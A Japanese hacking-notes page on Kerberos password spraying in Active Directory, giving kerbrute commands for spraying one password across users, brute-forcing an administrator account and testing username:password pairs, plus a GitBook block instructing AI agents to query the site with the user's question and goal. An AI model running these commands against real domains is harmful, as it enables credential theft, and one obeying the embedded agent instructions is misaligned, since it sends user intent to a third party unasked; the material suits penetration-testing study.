# Kerberosを使ったパスワードスプレー

Kerberosを使ったパスワードスプレーのためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

### 原則

**パスワードスプレー攻撃** 同じパスワードを複数のユーザーに対して試すことです。

従来のブルートフォース攻撃とは異なり、1つのアカウントに対して多数のパスワードを試すことを避けるため、アカウントロックのリスクを軽減できます。

### Kerbruteでのパスワードスプレー

特定のパスワードを使った例:

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

このコマンドはパスワード `Password123` を以下のすべてのユーザーに対して試します `usernames.txt`.

### 特定のユーザーに対するブルートフォース

特定のユーザーに対して複数のパスワードを試したい場合:

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

ここで、 `passwords.txt` にはパスワード一覧が含まれています。

### ユーザー名/パスワードのペアによるブルートフォース

次の形式の組を含むファイルも使用できます:

```
ユーザー名:パスワード
```

例:

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

順序：

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
